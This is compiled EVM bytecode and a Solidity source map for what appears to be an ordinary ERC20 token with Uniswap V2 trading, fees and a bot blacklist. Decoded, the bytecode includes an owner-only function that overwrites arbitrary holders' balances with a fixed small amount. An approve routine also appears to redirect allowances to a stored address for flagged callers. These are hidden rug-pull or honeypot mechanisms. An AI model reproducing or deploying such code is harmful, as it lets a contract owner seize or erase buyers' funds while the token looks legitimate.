b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105705760405162461bcd60e51b815260040161040c90611610565b6015805460ff60b81b191690556105896009600a611739565b61059790633b9aca00611747565b600e556105a66009600a611739565b6105b490633b9aca00611747565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e46009600a611739565b6105f290633b9aca00611747565b60405190815260200160405180910390a1565b5f5b81518110156106a45760155482516001600160a01b03909116908390839081106106335761063361175e565b60200260200101516001600160a01b03160361064d575050565b6106596009600a611739565b610664906064611747565b60015f8484815181106106795761067961175e565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610607565b5050565b5f6106b4338484610b20565b50600192915050565b5f546001600160a01b031633146106e65760405162461bcd60e51b815260040161040c90611610565b601554600160a01b900460ff16156107405760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040c565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561078990309061077b6009600a611739565b6104c790633b9aca00611747565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fd9190611772565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611772565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ee9190611772565b601380546001600160a01b039283166001600160a01b031991821681179092556015805490911690911790556014541663f305d7194730610943816001600160a01b03165f9081526001602052604090205490565b5f806109565f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109bc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109e1919061178d565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040c565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b5f8111610c475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040c565b5f80546001600160a01b03858116911614801590610c7257505f546001600160a01b03848116911614155b15610f68576001600160a01b0384165f9081526005602052604090205460ff16158015610cb757506001600160a01b0383165f9081526005602052604090205460ff16155b610cbf575f80fd5b610ceb6064610ce5600a54600d5411610cda57600654610cde565b6008545b85906110dd565b90611162565b6015549091506001600160a01b038581169116148015610d1957506014546001600160a01b03848116911614155b8015610d3d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2357600e54821115610d945760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161040c565b600f5482610db6856001600160a01b03165f9081526001602052604090205490565b610dc091906117b8565b1115610e0e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161040c565b600d8054905f610e1d836117cb565b91905055505b6015546001600160a01b038481169116148015610e4957506001600160a01b0384163014155b15610e8157610e736064610ce5600b54600d5411610e6957600754610cde565b60095485906110dd565b905047610e7f476111a3565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610eb757506015546001600160a01b038581169116145b8015610ecc5750601554600160b01b900460ff165b8015610ed9575060105481115b8015610ee85750600c54600d54115b15610f6657601554600160b81b900460ff1615610f4157436016541015610f3c57610f26610f2184610f1c846011546111da565b6111da565b6111ee565b478015610f3657610f36476111a3565b50436016555b610f66565b610f54610f2184610f1c846011546111da565b478015610f6457610f64476111a3565b505b505b8015610fe057305f90815260016020526040902054610f87908261135e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd79085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100290836113bc565b6001600160a01b0385165f9081526001602052604090205561104561102783836113bc565b6001600160a01b0385165f908152600160205260409020549061135e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108e85856113bc565b60405190815260200160405180910390a350505050565b5f81848411156110c85760405162461bcd60e51b815260040161040c9190611429565b505f6110d484866117e3565b95945050505050565b5f825f036110ec57505f6103dd565b5f6110f78385611747565b90508261110485836117f6565b1461115b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040c565b9392505050565b5f61115b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fd565b6012546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106a4573d5f803e3d5ffd5b5f8183116111e8578261115b565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112345761123461175e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112af9190611772565b816001815181106112c2576112c261175e565b6001600160a01b0392831660209182029290920101526014546112e891309116846109fd565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113209085905f90869030904290600401611815565b5f604051808303815f87803b158015611337575f80fd5b505af1158015611349573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061136a83856117b8565b90508381101561115b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040c565b5f61115b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a5565b5f818361141d5760405162461bcd60e51b815260040161040c9190611429565b505f6110d484866117f6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461044c575f80fd5b803561147d8161145e565b919050565b5f8060408385031215611493575f80fd5b823561149e8161145e565b946020939093013593505050565b5f805f606084860312156114be575f80fd5b83356114c98161145e565b925060208401356114d98161145e565b929592945050506040919091013590565b5f602082840312156114fa575f80fd5b813561115b8161145e565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561152a575f80fd5b823567ffffffffffffffff80821115611541575f80fd5b818501915085601f830112611554575f80fd5b81358181111561156657611566611505565b8060051b604051601f19603f8301168101818110858211171561158b5761158b611505565b6040529182528482019250838101850191888311156115a8575f80fd5b938501935b828510156115cd576115be85611472565b845293850193928501926115ad565b98975050505050505050565b5f80604083850312156115ea575f80fd5b82356115f58161145e565b915060208301356116058161145e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169357815f190482111561167957611679611645565b8085161561168657918102915b93841c939080029061165e565b509250929050565b5f826116a9575060016103dd565b816116b557505f6103dd565b81600181146116cb57600281146116d5576116f1565b60019150506103dd565b60ff8411156116e6576116e6611645565b50506001821b6103dd565b5060208310610133831016604e8410600b8410161715611714575081810a6103dd565b61171e8383611659565b805f190482111561173157611731611645565b029392505050565b5f61115b60ff84168361169b565b80820281158282048414176103dd576103dd611645565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611782575f80fd5b815161115b8161145e565b5f805f6060848603121561179f575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103dd576103dd611645565b5f600182016117dc576117dc611645565b5060010190565b818103818111156103dd576103dd611645565b5f8261181057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118655784516001600160a01b031683529383019391830191600101611840565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4ec468b6ab6658b6ed2ac2213863e62b4a6e6d626af58ed8e72f27ae1906f6e64736f6c63430008190033

3661:8279:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5727:83;;;;;;;;;;-1:-1:-1;5797:5:0;;;;;;;;;;;;-1:-1:-1;;;5797:5:0;;;;5727:83;;;;;;;:::i;:::-;;;;;;;;6544:240;;;;;;;;;;-1:-1:-1;6544:240:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6544:240:0;1032:187:1;4722:45:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;4722:45:0;1224:177:1;11079:112:0;;;;;;;;;;;;;:::i;:::-;;5998:95;;;;;;;;;;;;;:::i;6790:314::-;;;;;;;;;;-1:-1:-1;6790:314:0;;;;;:::i;:::-;;:::i;4670:45::-;;;;;;;;;;;;;;;;5909:83;;;;;;;;;;-1:-1:-1;5909:83:0;;4369:1;2009:36:1;;1997:2;1982:18;5909:83:0;1867:184:1;4612:51:0;;;;;;;;;;;;;;;;6099:117;;;;;;;;;;-1:-1:-1;6099:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6192:16:0;6165:7;6192:16;;;:7;:16;;;;;;;6099:117;2872:148;;;;;;;;;;;;;:::i;10052:193::-;;;;;;;;;;;;;:::i;4558:47::-;;;;;;;;;;;;;;;;2658:79;;;;;;;;;;-1:-1:-1;2696:7:0;2723:6;2658:79;;-1:-1:-1;;;;;2723:6:0;;;2454:51:1;;2442:2;2427:18;2658:79:0;2308:203:1;5816:87:0;;;;;;;;;;-1:-1:-1;5888:7:0;;;;;;;;;;;;-1:-1:-1;;;5888:7:0;;;;5816:87;;10251:237;;;;;;;;;;-1:-1:-1;10251:237:0;;;;;:::i;:::-;;:::i;6222:167::-;;;;;;;;;;-1:-1:-1;6222:167:0;;;;;:::i;:::-;;:::i;11337:600::-;;;;;;;;;;;;;:::i;6395:143::-;;;;;;;;;;-1:-1:-1;6395:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6503:18:0;;;6476:7;6503:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6395:143;6544:240;-1:-1:-1;;;;;6669:26:0;;6619:4;6669:26;;;:17;:26;;;;;;1174:10;;6669:26;;6666:45;;;-1:-1:-1;6703:8:0;;-1:-1:-1;;;;;6703:8:0;6666:45;6722:32;6731:5;6738:7;6747:6;6722:8;:32::i;:::-;6772:4;6765:11;;;6544:240;;;;;:::o;11079:112::-;2785:6;;-1:-1:-1;;;;;2785:6:0;1174:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;;;;;;;;;2696:7;2723:6;;11135:48:::1;::::0;-1:-1:-1;;;;;2723:6:0;;;;11161:21:::1;11135:48:::0;::::1;;;::::0;11161:21;;11135:48;2696:7;11135:48;11161:21;2723:6;11135:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11079:112::o:0;5998:95::-;6051:7;4425:13;4369:1;4425:2;:13;:::i;:::-;4412:26;;:10;:26;:::i;:::-;6071:14;;5998:95;:::o;6790:314::-;6888:4;6905:36;6915:6;6923:9;6934:6;6905:9;:36::i;:::-;6953:121;6962:6;1174:10;6984:89;7022:6;6984:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6984:19:0;;;;;;:11;:19;;;;;;;;1174:10;6984:33;;;;;;;;;;:37;:89::i;:::-;6953:8;:121::i;:::-;-1:-1:-1;7092:4:0;6790:314;;;;;:::o;2872:148::-;2785:6;;-1:-1:-1;;;;;2785:6:0;1174:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;2979:1:::1;2963:6:::0;;2942:40:::1;::::0;-1:-1:-1;;;;;2963:6:0;;::::1;::::0;2942:40:::1;::::0;2979:1;;2942:40:::1;3010:1;2993:19:::0;;-1:-1:-1;;;;;;2993:19:0::1;::::0;;2872:148::o;10052:193::-;2785:6;;-1:-1:-1;;;;;2785:6:0;1174:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;10106:12:::1;:20:::0;;-1:-1:-1;;;;10106:20:0::1;::::0;;4425:13:::1;4369:1;4425:2;:13;:::i;:::-;4412:26;::::0;:10:::1;:26;:::i;:::-;10137:12;:22:::0;4425:13:::1;4369:1;4425:2;:13;:::i;:::-;4412:26;::::0;:10:::1;:26;:::i;:::-;10170:16;:24:::0;10210:27:::1;4425:13;4369:1;4425:2;:13;:::i;:::-;4412:26;::::0;:10:::1;:26;:::i;:::-;10210:27;::::0;1370:25:1;;;1358:2;1343:18;10210:27:0::1;;;;;;;10052:193::o:0;10251:237::-;10322:9;10317:164;10341:5;:12;10337:1;:16;10317:164;;;10392:13;;10380:8;;-1:-1:-1;;;;;10392:13:0;;;;10380:5;;10386:1;;10380:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;10380:25:0;;10376:38;;10407:7;10251:237;:::o;10376:38::-;10454:15;4369:1;10454:2;:15;:::i;:::-;10448:21;;:3;:21;:::i;:::-;10428:7;:17;10436:5;10442:1;10436:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;10428:17:0;;;;;;;;;;;-1:-1:-1;10428:17:0;:41;10355:4;;10317:164;;;;10251:237;:::o;6222:167::-;6300:4;6317:42;1174:10;6341:9;6352:6;6317:9;:42::i;:::-;-1:-1:-1;6377:4:0;6222:167;;;;:::o;11337:600::-;2785:6;;-1:-1:-1;;;;;2785:6:0;1174:10;2785:22;2777:67;;;;-1:-1:-1;;;2777:67:0;;;;;;;:::i;:::-;11401:11:::1;::::0;-1:-1:-1;;;11401:11:0;::::1;;;11400:12;11392:47;;;::::0;-1:-1:-1;;;11392:47:0;;6544:2:1;11392:47:0::1;::::0;::::1;6526:21:1::0;6583:2;6563:18;;;6556:30;6622:25;6602:18;;;6595:53;6665:18;;11392:47:0::1;6342:347:1::0;11392:47:0::1;11450:15;:80:::0;;-1:-1:-1;;;;;;11450:80:0::1;11487:42;11450:80:::0;;::::1;::::0;;;11541:58:::1;::::0;11558:4:::1;::::0;4425:13:::1;4369:1;4425:2;:13;:::i;:::-;4412:26;::::0;:10:::1;:26;:::i;11541:58::-;11655:15;;;;;;;;;-1:-1:-1::0;;;;;11655:15:0::1;-1:-1:-1::0;;;;;11655:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11637:55:0::1;;11701:4;11708:15;;;;;;;;;-1:-1:-1::0;;;;;11708:15:0::1;-1:-1:-1::0;;;;;11708:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11637:94;::::0;-1:-1:-1;;;;;;11637:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7180:15:1;;;11637:94:0::1;::::0;::::1;7162:34:1::0;7232:15;;7212:18;;;7205:43;7097:18;;11637:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11626:8;:105:::0;;-1:-1:-1;;;;;11626:105:0;;::::1;-1:-1:-1::0;;;;;;11626:105:0;;::::1;::::0;::::1;::::0;;;11610:13:::1;:121:::0;;;;::::1;::::0;;::::1;::::0;;11742:15:::1;::::0;::::1;:31;11781:21;11812:4;11818:24;11812:4:::0;-1:-1:-1;;;;;6192:16:0;6165:7;6192:16;;;:7;:16;;;;;;;6099:117;11818:24:::1;11843:1;11845::::0;11847:7:::1;2696::::0;2723:6;-1:-1:-1;;;;;2723:6:0;;2658:79;11847:7:::1;11742:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11742:129:0;;;-1:-1:-1;;;;;7618:15:1;;;11742:129:0::1;::::0;::::1;7600:34:1::0;7650:18;;;7643:34;;;;7693:18;;;7686:34;;;;7736:18;;;7729:34;7800:15;;;7779:19;;;7772:44;11855:15:0::1;7832:19:1::0;;;7825:35;7534:19;;11742:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11882:11:0::1;:18:::0;;-1:-1:-1;;;;11911:18:0;-1:-1:-1;;;11911:18:0;;;-1:-1:-1;11337:600:0:o;7110:335::-;-1:-1:-1;;;;;7203:19:0;;7195:68;;;;-1:-1:-1;;;7195:68:0;;8384:2:1;7195:68:0;;;8366:21:1;8423:2;8403:18;;;8396:30;8462:34;8442:18;;;8435:62;-1:-1:-1;;;8513:18:1;;;8506:34;8557:19;;7195:68:0;8182:400:1;7195:68:0;-1:-1:-1;;;;;7282:21:0;;7274:68;;;;-1:-1:-1;;;7274:68:0;;8789:2:1;7274:68:0;;;8771:21:1;8828:2;8808:18;;;8801:30;8867:34;8847:18;;;8840:62;-1:-1:-1;;;8918:18:1;;;8911:32;8960:19;;7274:68:0;8587:398:1;7274:68:0;-1:-1:-1;;;;;7353:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7405:32;;1370:25:1;;;7405:32:0;;1343:18:1;7405:32:0;;;;;;;7110:335;;;:::o;7451:2595::-;-1:-1:-1;;;;;7539:18:0;;7531:68;;;;-1:-1:-1;;;7531:68:0;;9192:2:1;7531:68:0;;;9174:21:1;9231:2;9211:18;;;9204:30;9270:34;9250:18;;;9243:62;-1:-1:-1;;;9321:18:1;;;9314:35;9366:19;;7531:68:0;8990:401:1;7531:68:0;-1:-1:-1;;;;;7618:16:0;;7610:64;;;;-1:-1:-1;;;7610:64:0;;9598:2:1;7610:64:0;;;9580:21:1;9637:2;9617:18;;;9610:30;9676:34;9656:18;;;9649:62;-1:-1:-1;;;9727:18:1;;;9720:33;9770:19;;7610:64:0;9396:399:1;7610:64:0;7702:1;7693:6;:10;7685:64;;;;-1:-1:-1;;;7685:64:0;;10002:2:1;7685:64:0;;;9984:21:1;10041:2;10021:18;;;10014:30;10080:34;10060:18;;;10053:62;-1:-1:-1;;;10131:18:1;;;10124:39;10180:19;;7685:64:0;9800:405:1;7685:64:0;7760:13;2723:6;;-1:-1:-1;;;;;7790:15:0;;;2723:6;;7790:15;;;;:32;;-1:-1:-1;2696:7:0;2723:6;-1:-1:-1;;;;;7809:13:0;;;2723:6;;7809:13;;7790:32;7786:1937;;;-1:-1:-1;;;;;7848:11:0;;;;;;:5;:11;;;;;;;;7847:12;:26;;;;-1:-1:-1;;;;;;7864:9:0;;;;;;:5;:9;;;;;;;;7863:10;7847:26;7839:35;;;;;;7897:73;7966:3;7897:64;7919:12;;7909:9;;:22;7908:52;;7946:14;;7908:52;;;7933:12;;7908:52;7897:6;;:10;:64::i;:::-;:68;;:73::i;:::-;7997:13;;7889:81;;-1:-1:-1;;;;;;7989:21:0;;;7997:13;;7989:21;:55;;;;-1:-1:-1;8028:15:0;;-1:-1:-1;;;;;8014:30:0;;;8028:15;;8014:30;;7989:55;:79;;;;-1:-1:-1;;;;;;8050:18:0;;;;;;:14;:18;;;;;;;;8048:20;7989:79;7985:311;;;8108:12;;8098:6;:22;;8090:60;;;;-1:-1:-1;;;8090:60:0;;10412:2:1;8090:60:0;;;10394:21:1;10451:2;10431:18;;;10424:30;10490:27;10470:18;;;10463:55;10535:18;;8090:60:0;10210:349:1;8090:60:0;8203:16;;8193:6;8177:13;8187:2;-1:-1:-1;;;;;6192:16:0;6165:7;6192:16;;;:7;:16;;;;;;;6099:117;8177:13;:22;;;;:::i;:::-;:42;;8169:81;;;;-1:-1:-1;;;8169:81:0;;10896:2:1;8169:81:0;;;10878:21:1;10935:2;10915:18;;;10908:30;10974:28;10954:18;;;10947:56;11020:18;;8169:81:0;10694:350:1;8169:81:0;8269:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7985:311;8319:13;;-1:-1:-1;;;;;8313:19:0;;;8319:13;;8313:19;:43;;;;-1:-1:-1;;;;;;8336:20:0;;8351:4;8336:20;;8313:43;8310:359;;;8385:76;8457:3;8385:67;8407:13;;8397:9;;:23;8396:55;;8436:15;;8396:55;;;8422:13;;8385:6;;:10;:67::i;:76::-;8377:84;-1:-1:-1;8509:21:0;8600:34;8612:21;8600:11;:34::i;:::-;8358:311;8310:359;8732:4;8683:28;6192:16;;;:7;:16;;;;;;8758:6;;-1:-1:-1;;;8758:6:0;;;;8757:7;:30;;;;-1:-1:-1;8774:13:0;;-1:-1:-1;;;;;8768:19:0;;;8774:13;;8768:19;8757:30;:45;;;;-1:-1:-1;8791:11:0;;-1:-1:-1;;;8791:11:0;;;;8757:45;:81;;;;;8827:11;;8806:20;:32;8757:81;:108;;;;;8852:13;;8842:9;;:23;8757:108;8753:959;;;8890:12;;-1:-1:-1;;;8890:12:0;;;;8886:811;;;8946:12;8931;;:27;8927:428;;;8987:67;9004:49;9008:6;9015:37;9019:20;9040:11;;9015:3;:37::i;:::-;9004:3;:49::i;:::-;8987:16;:67::i;:::-;9110:21;9161:22;;9158:120;;9216:34;9228:21;9216:11;:34::i;:::-;-1:-1:-1;9319:12:0;9304;:27;8927:428;8886:811;;;9403:67;9420:49;9424:6;9431:37;9435:20;9456:11;;9431:3;:37::i;9403:67::-;9522:21;9569:22;;9566:112;;9620:34;9632:21;9620:11;:34::i;:::-;9380:317;8886:811;7824:1899;7786:1937;9736:7;;9733:146;;9796:4;9780:22;;;;:7;:22;;;;;;:33;;9807:5;9780:26;:33::i;:::-;9773:4;9757:22;;;;:7;:22;;;;;;;:56;;;;9831:36;;-1:-1:-1;;;;;9831:36:0;;;;;;;9861:5;1370:25:1;;1358:2;1343:18;;1224:177;9831:36:0;;;;;;;;9733:146;-1:-1:-1;;;;;9903:13:0;;;;;;:7;:13;;;;;;:25;;9921:6;9903:17;:25::i;:::-;-1:-1:-1;;;;;9889:13:0;;;;;;:7;:13;;;;;:39;9951:34;9967:17;:6;9978:5;9967:10;:17::i;:::-;-1:-1:-1;;;;;9951:11:0;;;;;;:7;:11;;;;;;;:15;:34::i;:::-;-1:-1:-1;;;;;9939:11:0;;;;;;;:7;:11;;;;;:46;;;;10001:37;;;10020:17;:6;10031:5;10020:10;:17::i;:::-;10001:37;;1370:25:1;;;1358:2;1343:18;10001:37:0;;;;;;;7520:2526;7451:2595;;;:::o;1552:190::-;1638:7;1674:12;1666:6;;;;1658:29;;;;-1:-1:-1;;;1658:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1698:9:0;1710:5;1714:1;1710;:5;:::i;:::-;1698:17;1552:190;-1:-1:-1;;;;;1552:190:0:o;1750:246::-;1808:7;1832:1;1837;1832:6;1828:47;;-1:-1:-1;1862:1:0;1855:8;;1828:47;1885:9;1897:5;1901:1;1897;:5;:::i;:::-;1885:17;-1:-1:-1;1930:1:0;1921:5;1925:1;1885:17;1921:5;:::i;:::-;:10;1913:56;;;;-1:-1:-1;;;1913:56:0;;11746:2:1;1913:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;1913:56:0;11544:397:1;1913:56:0;1987:1;1750:246;-1:-1:-1;;;1750:246:0:o;2004:132::-;2062:7;2089:39;2093:1;2096;2089:39;;;;;;;;;;;;;;;;;:3;:39::i;10983:90::-;11039:9;;:26;;-1:-1:-1;;;;;11039:9:0;;;;:26;;;;;11058:6;;11039:9;:26;:9;:26;11058:6;11039:9;:26;;;;;;;;;;;;;;;;;;;11232:99;11289:7;11317:1;11315;:3;11314:9;;11322:1;11314:9;;;-1:-1:-1;11320:1:0;11232:99;-1:-1:-1;11232:99:0:o;10494:483::-;5194:6;:13;;-1:-1:-1;;;;5194:13:0;-1:-1:-1;;;5194:13:0;;;10596:16:::1;::::0;;10610:1:::1;10596:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10596:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10596:16:0::1;10572:40;;10641:4;10623;10628:1;10623:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10623:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10667:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10667:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10623:7;;10667:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10657:4;10662:1;10657:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10657:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10732:15:::1;::::0;10700:62:::1;::::0;10717:4:::1;::::0;10732:15:::1;10750:11:::0;10700:8:::1;:62::i;:::-;10773:15;::::0;:196:::1;::::0;-1:-1:-1;;;10773:196:0;;-1:-1:-1;;;;;10773:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10854:11;;10773:15:::1;::::0;10896:4;;10923::::1;::::0;10943:15:::1;::::0;10773:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5230:6:0;:14;;-1:-1:-1;;;;5230:14:0;;;-1:-1:-1;;;;10494:483:0:o;1221:179::-;1279:7;;1311:5;1315:1;1311;:5;:::i;:::-;1299:17;;1340:1;1335;:6;;1327:46;;;;-1:-1:-1;;;1327:46:0;;13133:2:1;1327:46:0;;;13115:21:1;13172:2;13152:18;;;13145:30;13211:29;13191:18;;;13184:57;13258:18;;1327:46:0;12931:351:1;1408:136:0;1466:7;1493:43;1497:1;1500;1493:43;;;;;;;;;;;;;;;;;:3;:43::i;2144:189::-;2230:7;2265:12;2258:5;2250:28;;;;-1:-1:-1;;;2250:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2289:9:0;2301:5;2305:1;2301;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;2056:247::-;2115:6;2168:2;2156:9;2147:7;2143:23;2139:32;2136:52;;;2184:1;2181;2174:12;2136:52;2223:9;2210:23;2242:31;2267:5;2242:31;:::i;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:1;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1